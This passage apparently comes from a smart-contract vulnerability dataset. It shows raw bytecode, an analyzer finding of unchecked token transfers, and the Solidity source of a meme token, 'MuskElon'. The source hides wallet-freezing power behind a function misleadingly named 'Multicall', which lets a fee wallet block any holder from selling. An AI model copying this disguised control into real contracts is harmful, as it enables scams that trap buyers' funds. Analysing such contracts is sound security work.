d5b506040805160206004604435818101358381028086018501909652808552610224958335600160a060020a031695602480359636969560649593949201929182918501908490808284375094975061133e9650505050505050565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105885780601f1061055d57610100808354040283529160200191610588565b820191906000526020600020905b81548152906001019060200180831161056b57829003601f168201915b505050505081565b600160a060020a03338116600081815260026020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b600160a060020a033316600090815260208190526040812054819084111561062257600080fd5b600091505b82518210156107a3576106f06001546106e4858581518110151561064757fe5b90602001906020020151600160a060020a03166370a08231306040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b1580156106ab57600080fd5b505af11580156106bf573d6000803e3d6000fd5b505050506040513d60208110156106d557600080fd5b5051879063ffffffff6113cc16565b9063ffffffff6113f516565b9050828281518110151561070057fe5b90602001906020020151600160a060020a031663a9059cbb33836040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561076c57600080fd5b505af1158015610780573d6000803e3d6000fd5b505050506040513d602081101561079657600080fd5b5050600190910190610627565b600160a060020a0333166000908152602081905260409020546107cc908563ffffffff61140a16565b600160a060020a0333166000908152602081905260409020556001546107f8908563ffffffff61140a16565b600155604080518581529051600160a060020a033316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a260408051858152905160009133600160a060020a03169160008051602061164c8339815191529181900360200190a350505050565b60015490565b600080600085600160a060020a03166370a08231306040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b1580156108d557600080fd5b505af11580156108e9573d6000803e3d6000fd5b505050506040513d60208110156108ff57600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a0330811660048301529151929450908716916370a08231916024808201926020929091908290030181600087803b15801561096957600080fd5b505af115801561097d573d6000803e3d6000fd5b505050506040513d602081101561099357600080fd5b505190506109f06109aa838663ffffffff61141c16565b600160a060020a0380891660009081526007602052604080822054928a1682529020546106e4919082906109e4878b63ffffffff6113cc16565b9063ffffffff6113cc16565b9695505050505050565b6000600160a060020a0383161515610a1157600080fd5b600160a060020a038416600090815260208190526040902054821115610a3657600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610a6957600080fd5b600160a060020a038416600090815260208190526040902054610a92908363ffffffff61140a16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610ac7908363ffffffff61141c16565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610b0d908363ffffffff61140a16565b600160a060020a0380861660008181526002602090815260408083203386168452825291829020949094558051868152905192871693919260008051602061164c833981519152929181900390910190a35060019392505050565b60055460ff1681565b6001546060906000901515610bf6576040805160e560020a62461bcd02815260206004820152603760248201527f54686973206d6574686f642063616e20626520757365642077697468206e6f6e60448201527f207a65726f20746f74616c20737570706c79206f6e6c79000000000000000000606482015290519081900360840190fd5b600654604080518281526020808402820101909152908015610c22578160200160208202803883390190505b509150600090505b600654811015610d1857610cf86001546106e4600684815481101515610c4c57fe5b6000918252602080832090910154604080517f70a0823100000000000000000000000000000000000000000000000000000000815230600160a060020a039081166004830152915191909216936370a0823193602480850194919392918390030190829087803b158015610cbf57600080fd5b505af1158015610cd3573d6000803e3d6000fd5b505050506040513d6020811015610ce957600080fd5b5051869063ffffffff6113cc16565b8282815181101515610d0657fe5b60209081029091010152600101610c2a565b610d23848484611429565b50505050565b610d8d816006805480602002602001604051908101604052809291908181526020018280548015610d8357602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610d65575b50505050506105fb565b50565b6006805482908110610d9e57fe5b600091825260209091200154600160a060020a0316905081565b600060068261ffff16815481101515610dcd57fe5b600091825260209091200154600160a060020a031692915050565b60065490565b6000610dfb858585610875565b905081811015610e7b576040805160e560020a62461bcd02815260206004820152602f60248201527f5468652072657475726e20616d6f756e74206973206c657373207468616e205f60448201527f6d696e52657475726e2076616c75650000000000000000000000000000000000606482015290519081900360840190fd5b604080517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a0333811660048301523081166024830152604482018690529151918716916323b872dd916064808201926020929091908290030181600087803b158015610eef57600080fd5b505af1158015610f03573d6000803e3d6000fd5b505050506040513d6020811015610f1957600080fd5b5050604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0333811660048301526024820184905291519186169163a9059cbb916044808201926020929091908290030181600087803b158015610f8757600080fd5b505af1158015610f9b573d6000803e3d6000fd5b505050506040513d6020811015610fb157600080fd5b505060408051848152602081018390528151600160a060020a033381169388821693918a16927f24cee3d6b5651a987362aa6216b9d34a39212f0f1967dfd48c2c3a4fc3c576dc9281900390910190a4949350505050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561106657600160a060020a03338116600090815260026020908152604080832093881683529290529081205561109d565b611076818463ffffffff61140a16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902054825190815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105885780601f1061055d57610100808354040283529160200191610588565b60076020526000908152604090205481565b6000600160a060020a03831615156111a157600080fd5b600160a060020a0333166000908152602081905260409020548211156111c657600080fd5b600160a060020a0333166000908152602081905260409020546111ef908363ffffffff61140a16565b600160a060020a033381166000908152602081905260408082209390935590851681522054611224908363ffffffff61141c16565b600160a060020a038085166000818152602081815260409182902094909455805186815290519193339093169260008051602061164c83398151915292918290030190a350600192915050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120546112a9908363ffffffff61141c16565b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902085905581519485529051929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600154156113bc576040805160e560020a62461bcd02815260206004820152603360248201527f54686973206d6574686f642063616e20626520757365642077697468207a657260448201527f6f20746f74616c20737570706c79206f6e6c7900000000000000000000000000606482015290519081900360840190fd5b6113c7838383611429565b505050565b60008215156113dd575060006105f5565b508181028183828115156113ed57fe5b04146105f557fe5b6000818381151561140257fe5b049392505050565b60008282111561141657fe5b50900390565b818101828110156105f557fe5b8051600654600091146114ac576040805160e560020a62461bcd02815260206004820152603960248201527f4c656e67687473206f6620746f6b656e7320616e64205f746f6b656e416d6f7560448201527f6e74732061727261792073686f756c6420626520657175616c00000000000000606482015290519081900360840190fd5b5060005b6006548110156115875760068054829081106114c857fe5b6000918252602090912001548251600160a060020a03909116906323b872dd90339030908690869081106114f857fe5b60209081029091018101516040805160e060020a63ffffffff8816028152600160a060020a03958616600482015293909416602484015260448301529151606480830193928290030181600087803b15801561155357600080fd5b505af1158015611567573d6000803e3d6000fd5b505050506040513d602081101561157d57600080fd5b50506001016114b0565b60015461159a908463ffffffff61141c16565b600155600160a060020a0384166000908152602081905260409020546115c6908463ffffffff61141c16565b600160a060020a03851660008181526020818152604091829020939093558051868152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518481529051600160a060020a0386169160009160008051602061164c8339815191529181900360200190a3505050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820bdc4434cd63290626b5f4ecb7dec2615a8867d686c329bc7cf410121f28388220029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 9,681 |
0xa1c74b012b6861ff92e3298e93bc0b18f46e834b | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MuskElon is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"MuskElon"; ////
string public constant symbol = unicode"MUSKELON"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable private _FeeAddress1;
address payable private _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 2;
uint public _sellFee = 2;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 20000000000 * 10**9; // 2%
_maxHeldTokens = 40000000000 * 10**9; // 4%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function Multicall(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x6080604052600436106101f25760003560e01c8063509016171161010d57806395d89b41116100a0578063c9567bf91161006f578063c9567bf9146105a2578063db92dbb6146105b7578063dcb0e0ad146105cc578063dd62ed3e146105ec578063e8078d941461063257600080fd5b806395d89b4114610523578063a9059cbb14610557578063b2131f7d14610577578063c3c8cd801461058d57600080fd5b8063715018a6116100dc578063715018a6146104b05780637a49cddb146104c55780638da5cb5b146104e557806394b8d8f21461050357600080fd5b80635090161714610445578063590f897e146104655780636fc3eaec1461047b57806370a082311461049057600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac5791461039e57806340b9a54b146103d757806345596e2e146103ed57806349bd5a5e1461040d57600080fd5b806327f3a72a1461032c578063313ce5671461034157806331c2d8471461036857806332d873d81461038857600080fd5b80630b78f9c0116101c15780630b78f9c0146102ba57806318160ddd146102da5780631940d020146102f657806323b872dd1461030c57600080fd5b80630492f055146101fe57806306fdde03146102275780630802d2f614610268578063095ea7b31461028a57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600e5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b5061025b6040518060400160405280600881526020016726bab9b5a2b637b760c11b81525081565b60405161021e9190611bcc565b34801561027457600080fd5b50610288610283366004611c46565b610647565b005b34801561029657600080fd5b506102aa6102a5366004611c63565b6106bc565b604051901515815260200161021e565b3480156102c657600080fd5b506102886102d5366004611c8f565b6106d2565b3480156102e657600080fd5b50683635c9adc5dea00000610214565b34801561030257600080fd5b50610214600f5481565b34801561031857600080fd5b506102aa610327366004611cb1565b610755565b34801561033857600080fd5b5061021461083d565b34801561034d57600080fd5b50610356600981565b60405160ff909116815260200161021e565b34801561037457600080fd5b50610288610383366004611d08565b61084d565b34801561039457600080fd5b5061021460105481565b3480156103aa57600080fd5b506102aa6103b9366004611c46565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156103e357600080fd5b50610214600b5481565b3480156103f957600080fd5b50610288610408366004611dcd565b6108d9565b34801561041957600080fd5b50600a5461042d906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561045157600080fd5b50610288610460366004611c46565b61099d565b34801561047157600080fd5b50610214600c5481565b34801561048757600080fd5b50610288610a0b565b34801561049c57600080fd5b506102146104ab366004611c46565b610a38565b3480156104bc57600080fd5b50610288610a53565b3480156104d157600080fd5b506102886104e0366004611d08565b610ac7565b3480156104f157600080fd5b506000546001600160a01b031661042d565b34801561050f57600080fd5b506011546102aa9062010000900460ff1681565b34801561052f57600080fd5b5061025b6040518060400160405280600881526020016726aaa9a5a2a627a760c11b81525081565b34801561056357600080fd5b506102aa610572366004611c63565b610bd6565b34801561058357600080fd5b50610214600d5481565b34801561059957600080fd5b50610288610be3565b3480156105ae57600080fd5b50610288610c19565b3480156105c357600080fd5b50610214610cbd565b3480156105d857600080fd5b506102886105e7366004611df4565b610cd5565b3480156105f857600080fd5b50610214610607366004611e11565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561063e57600080fd5b50610288610d52565b6008546001600160a01b0316336001600160a01b03161461066757600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b60006106c9338484611099565b50600192915050565b6008546001600160a01b0316336001600160a01b0316146106f257600080fd5b600a82111561070057600080fd5b600a81111561070e57600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff16801561078357506001600160a01b03831660009081526004602052604090205460ff16155b801561079c5750600a546001600160a01b038581169116145b156107eb576001600160a01b03831632146107eb5760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6107f68484846111bd565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610825908490611e60565b9050610832853383611099565b506001949350505050565b600061084830610a38565b905090565b6008546001600160a01b0316336001600160a01b03161461086d57600080fd5b60005b81518110156108d55760006006600084848151811061089157610891611e77565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108cd81611e8d565b915050610870565b5050565b6000546001600160a01b031633146109035760405162461bcd60e51b81526004016107e290611ea6565b6008546001600160a01b0316336001600160a01b03161461092357600080fd5b600081116109685760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107e2565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020016106b1565b6009546001600160a01b0316336001600160a01b0316146109bd57600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014906020016106b1565b6008546001600160a01b0316336001600160a01b031614610a2b57600080fd5b47610a358161182b565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a7d5760405162461bcd60e51b81526004016107e290611ea6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610ae757600080fd5b60005b81518110156108d557600a5482516001600160a01b0390911690839083908110610b1657610b16611e77565b60200260200101516001600160a01b031614158015610b67575060075482516001600160a01b0390911690839083908110610b5357610b53611e77565b60200260200101516001600160a01b031614155b15610bc457600160066000848481518110610b8457610b84611e77565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610bce81611e8d565b915050610aea565b60006106c93384846111bd565b6008546001600160a01b0316336001600160a01b031614610c0357600080fd5b6000610c0e30610a38565b9050610a35816118b0565b6000546001600160a01b03163314610c435760405162461bcd60e51b81526004016107e290611ea6565b60115460ff1615610c905760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107e2565b6011805460ff19166001179055426010556801158e460913d00000600e5568022b1c8c1227a00000600f55565b600a54600090610848906001600160a01b0316610a38565b6000546001600160a01b03163314610cff5760405162461bcd60e51b81526004016107e290611ea6565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb906020016106b1565b6000546001600160a01b03163314610d7c5760405162461bcd60e51b81526004016107e290611ea6565b60115460ff1615610dc95760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107e2565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610e063082683635c9adc5dea00000611099565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e689190611edb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed99190611edb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f26573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4a9190611edb565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610f7a81610a38565b600080610f8f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ff7573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061101c9190611ef8565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015611075573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d59190611f26565b6001600160a01b0383166110fb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107e2565b6001600160a01b03821661115c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107e2565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112215760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107e2565b6001600160a01b0382166112835760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107e2565b600081116112e55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107e2565b6001600160a01b03831660009081526006602052604090205460ff161561135a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b60648201526084016107e2565b600080546001600160a01b0385811691161480159061138757506000546001600160a01b03848116911614155b156117cc57600a546001600160a01b0385811691161480156113b757506007546001600160a01b03848116911614155b80156113dc57506001600160a01b03831660009081526004602052604090205460ff16155b156116685760115460ff166114335760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107e2565b60105442036114725760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107e2565b42601054610e106114839190611f43565b11156114fd57600f5461149584610a38565b61149f9084611f43565b11156114fd5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016107e2565b6001600160a01b03831660009081526005602052604090206001015460ff16611565576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105460786115759190611f43565b111561164957600e548211156115cd5760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107e2565b6115d842600f611f43565b6001600160a01b038416600090815260056020526040902054106116495760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016107e2565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff16158015611682575060115460ff165b801561169c5750600a546001600160a01b03858116911614155b156117cc576116ac42600f611f43565b6001600160a01b0385166000908152600560205260409020541061171e5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016107e2565b600061172930610a38565b905080156117b55760115462010000900460ff16156117ac57600d54600a546064919061175e906001600160a01b0316610a38565b6117689190611f5b565b6117729190611f7a565b8111156117ac57600d54600a5460649190611795906001600160a01b0316610a38565b61179f9190611f5b565b6117a99190611f7a565b90505b6117b5816118b0565b4780156117c5576117c54761182b565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061180e57506001600160a01b03841660009081526004602052604090205460ff165b15611817575060005b6118248585858486611a24565b5050505050565b6008546001600160a01b03166108fc611845600284611f7a565b6040518115909202916000818181858888f1935050505015801561186d573d6000803e3d6000fd5b506009546001600160a01b03166108fc611888600284611f7a565b6040518115909202916000818181858888f193505050501580156108d5573d6000803e3d6000fd5b6011805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118f4576118f4611e77565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561194d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119719190611edb565b8160018151811061198457611984611e77565b6001600160a01b0392831660209182029290920101526007546119aa9130911684611099565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906119e3908590600090869030904290600401611f9c565b600060405180830381600087803b1580156119fd57600080fd5b505af1158015611a11573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a308383611a46565b9050611a3e86868684611a8d565b505050505050565b6000808315611a86578215611a5e5750600b54611a86565b50600c54601054611a7190610384611f43565b421015611a8657611a83600582611f43565b90505b9392505050565b600080611a9a8484611b6a565b6001600160a01b0388166000908152600260205260409020549193509150611ac3908590611e60565b6001600